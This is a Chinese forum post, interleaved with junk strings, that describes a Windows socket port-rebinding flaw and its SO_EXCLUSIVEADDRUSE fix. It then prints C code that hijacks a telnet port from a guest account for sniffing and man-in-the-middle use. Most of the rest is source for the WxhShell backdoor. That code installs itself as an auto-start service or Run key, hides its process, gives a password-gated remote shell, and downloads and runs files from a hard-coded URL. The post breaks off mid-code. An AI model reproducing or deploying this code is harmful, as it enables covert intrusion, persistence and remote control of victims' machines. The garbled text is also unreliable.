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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x5YHmvy/l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5imqZw  
&k0c|q]  
  saddr.sin_family = AF_INET; :}[[G2|9  
w*qmC<D$A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I3D#wXW  
m9li%p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); HH aerc  
c[E>2P2-_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MnT+p[.  
% ovk}}%;  
  这意味着什么?意味着可以进行如下的攻击: h| ]BA}D  
+{/*P 5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SPY4l*kX  
K$Yc!4M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *EzAo  
liG3   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '<KzWxuC  
K)n0?Q_>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  & wG3RR|  
-Drm4sTpDb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lL6qK&;  
J"O#w BM9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %Q[+bN[/  
m[!AOln)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  zFk@Y  
:fE*fU@  
  #include `<kV)d%xEF  
  #include MB] Y|Vee  
  #include WX9pJ9d  
  #include    ) bPF@'rF2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -"Q[n,"Y  
  int main() Y'S9   
  { #p^r)+\3=  
  WORD wVersionRequested; g+iV0bbT  
  DWORD ret; `%M} :T  
  WSADATA wsaData; QWWoj[d#  
  BOOL val; NurbioFL  
  SOCKADDR_IN saddr; j[o5fr)L  
  SOCKADDR_IN scaddr; q;a#?Du o  
  int err; J "dp?i  
  SOCKET s; ALY% h!L  
  SOCKET sc; c&T14!lfn  
  int caddsize; |~3$L\X  
  HANDLE mt; m%?b"kxL[  
  DWORD tid;   |Zo_x} 0  
  wVersionRequested = MAKEWORD( 2, 2 ); _*w}"\4_  
  err = WSAStartup( wVersionRequested, &wsaData ); 8!AMRE  
  if ( err != 0 ) { ,Uv8[ci%9  
  printf("error!WSAStartup failed!\n"); f{[,!VG  
  return -1; e`Z3{H}  
  } YJ{d\j  
  saddr.sin_family = AF_INET; wOp# mT  
   ]\:FFg_O6t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "yCek  
!%2aw0Yv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +6* .lRA  
  saddr.sin_port = htons(23); <.<Q.z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N#`aVW'{v2  
  { .iL_3:6f  
  printf("error!socket failed!\n"); 7" wn0 24  
  return -1; WxS=Aip'  
  } 7#R& OQ  
  val = TRUE; S-:7P.#Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7TQh'j   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S hM}w/4  
  { ;,h*s, i  
  printf("error!setsockopt failed!\n"); IBzHXa>75  
  return -1; ptmPO4f  
  } 9h6xli  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; IK6XJsz$J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K,IPVjS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p3eJFg$  
ZN ?P4#Z S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uGQCW\!"4  
  { ]&ptld;  
  ret=GetLastError(); uXNf)?MpA  
  printf("error!bind failed!\n"); VM3H&$d(h  
  return -1; Vy:ER  
  } NB&u^8b  
  listen(s,2); NW9k.D%  
  while(1) e-o s0F  
  { 1*x4T%RF$  
  caddsize = sizeof(scaddr); H\3CvFm  
  //接受连接请求 m(3bO[u1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t747SZWgB  
  if(sc!=INVALID_SOCKET) vN7ihe[C  
  { {fMrx1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); HC8{);  
  if(mt==NULL) !+M H?A  
  { 6iFd[<.*j  
  printf("Thread Creat Failed!\n"); #V8='qD  
  break; ,9#G/nF  
  } k- sbZL  
  } {Pg7IYjH  
  CloseHandle(mt); V]PTAhc  
  } $XI5fa4Tt  
  closesocket(s); _pNUI {De  
  WSACleanup(); "7 )F";_(^  
  return 0; ryx<^q  
  }   d~| qx  
  DWORD WINAPI ClientThread(LPVOID lpParam) _V{WXsOx(  
  { =dX*:An  
  SOCKET ss = (SOCKET)lpParam; /:e|B;P`k  
  SOCKET sc; .#h ]_%  
  unsigned char buf[4096]; F,O+axO ja  
  SOCKADDR_IN saddr; @Ds?  
  long num; +X;6%O;  
  DWORD val; DI}h?Uf ,  
  DWORD ret; L#u6_`XJ+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 RkLH}`#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q$,8yTM  
  saddr.sin_family = AF_INET; >CPkL_@VZ=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KX<RD|=  
  saddr.sin_port = htons(23); jVRd[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X2i<2N*@  
  { eS@RA2  
  printf("error!socket failed!\n"); LTtfOcrt  
  return -1; -r-`T s  
  } m ]K.0E  
  val = 100; =10t3nA1$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -"a+<(Y  
  { xel&8 `  
  ret = GetLastError(); ~.x!st}  
  return -1; @-b}iP<T  
  } 4kg9R^0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jgbw'BBu  
  { JpD YB  
  ret = GetLastError(); g\(7z P  
  return -1; x\Sp~]o3C  
  } E7_^RWG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A{6ZEQAh>  
  { Y\p yl  
  printf("error!socket connect failed!\n"); dIO\ lL   
  closesocket(sc); RV(}\JU  
  closesocket(ss); J*U(f{Q(  
  return -1;  74Q?%X  
  } g>im2AD+e  
  while(1) o3WkbMJWM  
  { Z^fF^3x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~hvhT}lE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :za!!^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aYj3a;EmU  
  num = recv(ss,buf,4096,0); //+UQgl6  
  if(num>0) (`!| Uf$  
  send(sc,buf,num,0); %okEN !=  
  else if(num==0) sa#"@j)  
  break; NOS5bm&-  
  num = recv(sc,buf,4096,0); c~RIl5j  
  if(num>0) >M1/m=a  
  send(ss,buf,num,0); Pucf0 #  
  else if(num==0) *q0N$}k  
  break; _~cmR<  
  } OC>" +  
  closesocket(ss); Jx>P%>+<j  
  closesocket(sc); <m(nZ'Zqz2  
  return 0 ; ;JmD(T7{  
  } huTJ a2  
e8lF$[i  
Q49|,ou[H  
========================================================== \:=Phbn  
Sej$x)Q\t  
下边附上一个代码,,WXhSHELL ;OKQP~^iH2  
84 knoC  
========================================================== .M! (|KE4  
i5n 'f6C  
#include "stdafx.h" )nJ>kbO~8  
@P.l8|w  
#include <stdio.h> vGAPQg6*  
#include <string.h> ifgaBXT55  
#include <windows.h> ~b7Nzzfo  
#include <winsock2.h> s=q+3NTv  
#include <winsvc.h> ]Pd*w`R  
#include <urlmon.h> 1OGlD+f  
df:,5@CJ8  
#pragma comment (lib, "Ws2_32.lib") FFQF0.@EBi  
#pragma comment (lib, "urlmon.lib") q(r2\  
3Q]MT  
#define MAX_USER   100 // 最大客户端连接数 Yj"UD:p  
#define BUF_SOCK   200 // sock buffer & aLR'*]6  
#define KEY_BUFF   255 // 输入 buffer -Qgfo|po  
;% !?dH6  
#define REBOOT     0   // 重启 /d=$,q1  
#define SHUTDOWN   1   // 关机 {'ZnxK'  
K7l{&2>?  
#define DEF_PORT   5000 // 监听端口 r"Bf@va  
14&EdTG.  
#define REG_LEN     16   // 注册表键长度 08` @u4  
#define SVC_LEN     80   // NT服务名长度 WIGb7}egR  
evs2dz<eA  
// 从dll定义API i Bi/9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p&\uF#I;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LH_2oJ\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vP?yl "U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hB.dqv]^  
a@a1/ 3  
// wxhshell配置信息 u<8Q[_E&  
struct WSCFG { 4J_%quxO  
  int ws_port;         // 监听端口 fr?eOigbl  
  char ws_passstr[REG_LEN]; // 口令 )6j:Mbz   
  int ws_autoins;       // 安装标记, 1=yes 0=no 3edAI&a5  
  char ws_regname[REG_LEN]; // 注册表键名 Xm4wuX"e=  
  char ws_svcname[REG_LEN]; // 服务名 gMvvDP!Wp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m\>x_:sE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O92Yd$S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^ UzF nW@a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8tL61x{]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L8G4K)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  4{?x(~  
9VByFQgM  
}; :1=?/8h  
CQ`(,F3(  
// default Wxhshell configuration $>UzXhf}\  
struct WSCFG wscfg={DEF_PORT, } :mI6zsNj  
    "xuhuanlingzhe", c`.:"i" k3  
    1, h$&XQq0T  
    "Wxhshell", T82_`u  
    "Wxhshell", YZ>cE#  
            "WxhShell Service", W% [5~N  
    "Wrsky Windows CmdShell Service", O,{ (  
    "Please Input Your Password: ", #J!? :(m:  
  1, [jw o D  
  "http://www.wrsky.com/wxhshell.exe", ;Ki1nq5c#s  
  "Wxhshell.exe" w}0Qy  
    }; 54{"ni 2a  
Cg Sdyg@  
// 消息定义模块 |-fx 0y   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6S<$7=$ =  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6bGD8 ;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Kv]6 b2HT  
char *msg_ws_ext="\n\rExit."; +XE21hb   
char *msg_ws_end="\n\rQuit."; 6!nb)auVi  
char *msg_ws_boot="\n\rReboot..."; A E711l-  
char *msg_ws_poff="\n\rShutdown..."; ASvPr*q/  
char *msg_ws_down="\n\rSave to "; 6{ Nbe=  
[1C#[Vla  
char *msg_ws_err="\n\rErr!"; f#~Re:7.c  
char *msg_ws_ok="\n\rOK!"; &J b.OCf  
7N"Bbl  
char ExeFile[MAX_PATH]; .;2!c'mT9  
int nUser = 0; IT(c'}  
HANDLE handles[MAX_USER]; t}7wR TG  
int OsIsNt; m}9V@@  
v#|c.<].  
SERVICE_STATUS       serviceStatus;  vt N5{C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >I?Mi{'a  
"{_"Nj H  
// 函数声明 ^H4i Hjg  
int Install(void); d eoM~r9s  
int Uninstall(void); .y/b$|d,  
int DownloadFile(char *sURL, SOCKET wsh); 1,T9HpM  
int Boot(int flag); o0'av+e7  
void HideProc(void); cPcV[6)5K9  
int GetOsVer(void); C=IH#E=  
int Wxhshell(SOCKET wsl); ?C:fP`j:  
void TalkWithClient(void *cs); F4x7;?W{*  
int CmdShell(SOCKET sock); ;ZJ,l)BNO  
int StartFromService(void); fn OkH  
int StartWxhshell(LPSTR lpCmdLine); Q /c WV  
!5j3gr ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >~rd5xlk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1Q SIZoK7  
$O'2oeM  
// 数据结构和表定义 *fSM'q;  
SERVICE_TABLE_ENTRY DispatchTable[] = %j">&U.[  
{ noA\5&hqW  
{wscfg.ws_svcname, NTServiceMain}, )6&\WNL-x  
{NULL, NULL} w<Cmzkf  
}; rcx;3Vne  
S I7B6c  
// 自我安装 nZCpT |M5  
int Install(void) xbC8Amo;8"  
{ UD2<!a'T  
  char svExeFile[MAX_PATH]; zD^f%p ["#  
  HKEY key; nq f<NH3i  
  strcpy(svExeFile,ExeFile); k8e"5 he  
C..2y4bA}  
// 如果是win9x系统,修改注册表设为自启动 OLNn3 J  
if(!OsIsNt) { "t:.mA<v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q!X_&ao )O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 51qIo4$  
  RegCloseKey(key); ^-GX&ODa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t`T\d\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "g%:#'5  
  RegCloseKey(key); m->%8{L  
  return 0; xm|4\H&Bg  
    } yH%+cmp7  
  } lE)rRG+JLW  
} {(}w4.!  
else { =t$mbI   
LGROEn<*d  
// 如果是NT以上系统,安装为系统服务 P0ltN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CQ.4,S}6'  
if (schSCManager!=0) Y-q@~v Z]  
{ 5 ?~-Vv31s  
  SC_HANDLE schService = CreateService = 6<w'>  
  ( ;b?+:L  
  schSCManager, 1qj%a%R  
  wscfg.ws_svcname, V-;nj,.mY  
  wscfg.ws_svcdisp, 3B".Gsm)X  
  SERVICE_ALL_ACCESS, v* ~%x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CY3\:D0I  
  SERVICE_AUTO_START, NzAtdcwR  
  SERVICE_ERROR_NORMAL, mK40 f  
  svExeFile, ^lai!uZVa  
  NULL, OF<n T  
  NULL, @MZ6E$I  
  NULL, W(a'^ #xe  
  NULL, 62)lf2$1  
  NULL 1mn$Rh&dO  
  ); C}= _8N  
  if (schService!=0) h2|vB+W-  
  { $^=jPk]+  
  CloseServiceHandle(schService); '%-xe3  
  CloseServiceHandle(schSCManager); 8U<.16+5Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mXU?+G0  
  strcat(svExeFile,wscfg.ws_svcname); aI{@]hCo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KPjqw{gR_R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wGzXp5 dl  
  RegCloseKey(key); e0N=2i?I#z  
  return 0; qa$[L@h>  
    } nUud?F^_  
  } jaO#><f  
  CloseServiceHandle(schSCManager); _c9 WWp?  
} !qXq y}?w  
} GQ-e$D@SfB  
]u4>;sa  
return 1; j+13H+dN  
} c+b:K  
( X 'FQ  
// 自我卸载 B`Or#G3ph  
int Uninstall(void) 1s} ``1>  
{ +?j?|G  
  HKEY key; %<=vbL9  
9(^X2L&Z  
if(!OsIsNt) { _N,KHxsG8B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O5TK&j  
  RegDeleteValue(key,wscfg.ws_regname); 1x\W52 1  
  RegCloseKey(key); ~e`;"n@4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  { 7TJgS  
  RegDeleteValue(key,wscfg.ws_regname); Z;Ir>^<  
  RegCloseKey(key); -wtTq ph'  
  return 0; krr-ZiK  
  } mU?&\w=v$  
} 3\p]esse  
} yToT7 X7F7  
else { e1`)3-f  
+%e%UF@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4('0f:9z+  
if (schSCManager!=0) GwMUIevO_  
{ .}$`+h8W T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +2V%'{:  
  if (schService!=0) \}u7T[R=`  
  { Owh*KY:  
  if(DeleteService(schService)!=0) { Q_dXRBv=n  
  CloseServiceHandle(schService); 9!O+Ryy?\  
  CloseServiceHandle(schSCManager); KF:]4`$  
  return 0; hHfe6P |  
  } iC\rhHKQ  
  CloseServiceHandle(schService); ,WO%L~db  
  } t7*G91Hoq&  
  CloseServiceHandle(schSCManager); mq{$9@3  
} =0s`4Y"+  
} *%Nns',  
<nOuyGIZ  
return 1; r?"}@MRW  
} 1&8j3"  
l${Hgn+  
// 从指定url下载文件 ~51kiQW  
int DownloadFile(char *sURL, SOCKET wsh) _cxm}*}\#  
{ %;=IMMK  
  HRESULT hr; Imh2~rw;  
char seps[]= "/"; }"&n[/8~  
char *token; f*|8n$%   
char *file; ub zb  
char myURL[MAX_PATH]; OUlxeo/  
char myFILE[MAX_PATH]; I*+LJy;j  
)I Y 5Y  
strcpy(myURL,sURL); XDP6T"h  
  token=strtok(myURL,seps); r|\5'ZMx  
  while(token!=NULL) 2rR@2Vsw2  
  { ?b*/ddIs  
    file=token; EaM"=g  
  token=strtok(NULL,seps);  r21?c|IP  
  } M73VeV3DL  
Y'<uZl^aX  
GetCurrentDirectory(MAX_PATH,myFILE); FhY{;-W(T  
strcat(myFILE, "\\"); ]Efh(Gb]  
strcat(myFILE, file); +?"HTDBE||  
  send(wsh,myFILE,strlen(myFILE),0); #|{BGVp  
send(wsh,"...",3,0); i_[ HcgT-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q8;x9o@p  
  if(hr==S_OK) F1?CqN M  
return 0; 'uP'P#  
else (opROsFh  
return 1; .KiPNTh'  
z&C{8aQ'  
} -(/2_&"  
3D?IG\3  
// 系统电源模块 c]s (u+i  
int Boot(int flag) c ,h.`~{  
{ O:`GL1{ve?  
  HANDLE hToken; m{:"1]  
  TOKEN_PRIVILEGES tkp; dT0^-XSY  
vWqyZ-p,q  
  if(OsIsNt) { 2p$n*|T&c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \yJZvhUk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @7Q*h   
    tkp.PrivilegeCount = 1; EFa{O`_@U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VL_)]LR*)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4f{[*6 GX  
if(flag==REBOOT) { k8InbX[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D_l/Gxdpr  
  return 0; LCo1{wi  
} Ht`<XbQ>  
else { 7.7Cluh5,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ['51FulDR  
  return 0; $?]@_=  
} F9m2C'U  
  } tl{]gz  
  else { ql!5m\  
if(flag==REBOOT) { p/ziFpU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ek"YM[  
  return 0; \S=XIf  
} |uQn|"U4  
else { >Jm-2W5J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \ &eY)^vw  
  return 0; $\0cJCQ3  
} o-\ok|,)#j  
} VRtbHam  
;eS;AHZ  
return 1; R7E]*:0}  
} XsAY4WTS  
L"""\5Bn(  
// win9x进程隐藏模块 $Qn& jI38  
void HideProc(void) 9O),/SH;:  
{ g>6:CG"  
kbfuvJ>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [b7it2`dl  
  if ( hKernel != NULL ) B]'e$uyL7  
  { q6;OS.f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KcIc'G 9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T5 K-gz7A  
    FreeLibrary(hKernel); K%Usjezv&  
  } t!6\7Vm/  
gzl%5`DBw  
return; ^z[_U}N\}  
} q1N4X7<_  
JiKImz  
// 获取操作系统版本 [WcS[](ob  
int GetOsVer(void) ^K7q<X,  
{ 2"T8^r|U  
  OSVERSIONINFO winfo; &FL%H;Kfx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z 7`5x  
  GetVersionEx(&winfo); I?f"<5[0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) er(8}]X8Q  
  return 1; 1k!D0f3qb  
  else h=X7,2/<  
  return 0; 5T!&r  
} i0ILb/LS  
3cmbK  
// 客户端句柄模块 l0gH(28K  
int Wxhshell(SOCKET wsl) zSEr4^Dk4  
{ bZxv/\  
  SOCKET wsh; b2a'KczV  
  struct sockaddr_in client; 8&?^XcJ*x  
  DWORD myID; ^bF}_CSE  
~ wfoK7T}  
  while(nUser<MAX_USER) k%"$$uo  
{ ]MC/t5vCu  
  int nSize=sizeof(client); ILNE 4n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ; qO@A1Hq  
  if(wsh==INVALID_SOCKET) return 1; 60~v t04  
S{o@QVbl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .?A'6  
if(handles[nUser]==0) ^/G?QR  
  closesocket(wsh); 8r5xs-  
else 5fU!'ajaN7  
  nUser++; )URwIe{  
  } wG_4$kyj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (:ZPt(1  
;_x2 Ymw  
  return 0; 4; ?1Kb#  
} ?A|zRj{  
<MRC%!.  
// 关闭 socket G?>qd}]y0L  
void CloseIt(SOCKET wsh) K3Huu!Tr  
{ #]"/{Z  
closesocket(wsh); 1Pu ,:Jt  
nUser--; Q?W r7  
ExitThread(0); ,Yo: &>As  
} x<8\-  
BeAk 21xb  
// 客户端请求句柄 SO7(K5H,  
void TalkWithClient(void *cs) fv:L\N1u  
{ C=8H)Ef,l  
cvxIp#FbW  
  SOCKET wsh=(SOCKET)cs; ,&0Z]*  
  char pwd[SVC_LEN]; L+_8QK<  
  char cmd[KEY_BUFF]; ^n t~-%  
char chr[1]; X z8$Xz,O  
int i,j; <|otZJ'2r  
! &y  
  while (nUser < MAX_USER) { [qSQ#Qzi2i  
k9cK b f@  
if(wscfg.ws_passstr) { $$42pb.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eDuX"/kHA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SF0Jb"kS  
  //ZeroMemory(pwd,KEY_BUFF); !5NGlqEF#  
      i=0; S 9WawI  
  while(i<SVC_LEN) { "@(58nk  
%@>YNPD`E  
  // 设置超时 #sL/y  
  fd_set FdRead; 0xv\D0  
  struct timeval TimeOut; \Ph]*%  
  FD_ZERO(&FdRead); II&<  
  FD_SET(wsh,&FdRead); 5qGGu.$Ihi  
  TimeOut.tv_sec=8; gEE9/\>%-  
  TimeOut.tv_usec=0; Q< dba12  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *JwFD^<j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *}7U`Aa  
nz>K{(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O(odNQy~  
  pwd=chr[0]; r;9z 5'  
  if(chr[0]==0xd || chr[0]==0xa) { f;R>Pr;rD  
  pwd=0; fD0{ 5  
  break; .6LS+[  
  } Sq<3Rw  
  i++; :r\xkHg/f  
    } So?m?,!W  
"8FSA`>=  
  // 如果是非法用户,关闭 socket y`({ .L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }N@n{bu+  
} f KHse$?_  
3=IG#6)~C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $%B5$+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _n7%df  
h:_NA  
while(1) { {QMN=O&n  
JXL'\De ;  
  ZeroMemory(cmd,KEY_BUFF); m!;G/s*  
;>5,  
      // 自动支持客户端 telnet标准   ,|A{!j`  
  j=0;  $<:'!#%  
  while(j<KEY_BUFF) { vpi l$Uq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (VEp~BW@-R  
  cmd[j]=chr[0]; ;e2Ij  
  if(chr[0]==0xa || chr[0]==0xd) { (,shiK[5f  
  cmd[j]=0; 2av*o~|J*:  
  break; Zct!/u9 Q  
  } |ebvx?\  
  j++; $:(z}sYQ7  
    } 0Lx3]"v  
?H<~ac2e  
  // 下载文件 p x0Sy|  
  if(strstr(cmd,"http://")) { Nvhy3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =88t*dH(,"  
  if(DownloadFile(cmd,wsh)) 3Mur*tj#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ERp{gB2U?  
  else h>| g2h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N70zjy4?fL  
  } n?}5!  
  else { jK e.gA  
_%;M9Sg3  
    switch(cmd[0]) { 3hLqAj  
  72u db^  
  // 帮助 :1*zr  
  case '?': { zx7#)*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x vdY 8%S  
    break; BO]=vH  
  } v"/TmiZ  
  // 安装 l!/!?^8|f  
  case 'i': { >GmN~"iJ  
    if(Install()) QTfu:m{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RvR:e|  
    else d[S#Duz<&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Sul4: D#  
    break; Nkx0CG*  
    } ' Wtf>`  
  // 卸载 I ld7}R  
  case 'r': { g1ytT%]  
    if(Uninstall()) ,&[7u9@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CB6o$U  
    else TqAtcAurM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (U_wp's  
    break; qv$!\T  
    } h mds(lv7  
  // 显示 wxhshell 所在路径 SYeE) mI  
  case 'p': { `2,a(Sk#  
    char svExeFile[MAX_PATH]; LZ4xfB (  
    strcpy(svExeFile,"\n\r"); oE6|Zw  
      strcat(svExeFile,ExeFile); Fav^^vf*1  
        send(wsh,svExeFile,strlen(svExeFile),0); }s(C^0x  
    break; 8ZW?|-i  
    } zWb -pF|  
  // 重启 ^j[Ku  
  case 'b': { ~o i)Lf1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x^X$M$o,l  
    if(Boot(REBOOT)) 4T%cTH:.9N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p&\K9hfi  
    else { Y+@g~TE  
    closesocket(wsh); o)p[ C   
    ExitThread(0); 0 7\02f  
    } %Lyz_2q A  
    break; TW2Z=ks=  
    } fx]eDA|$e  
  // 关机 %E  aE,  
  case 'd': { -zTEL (r  
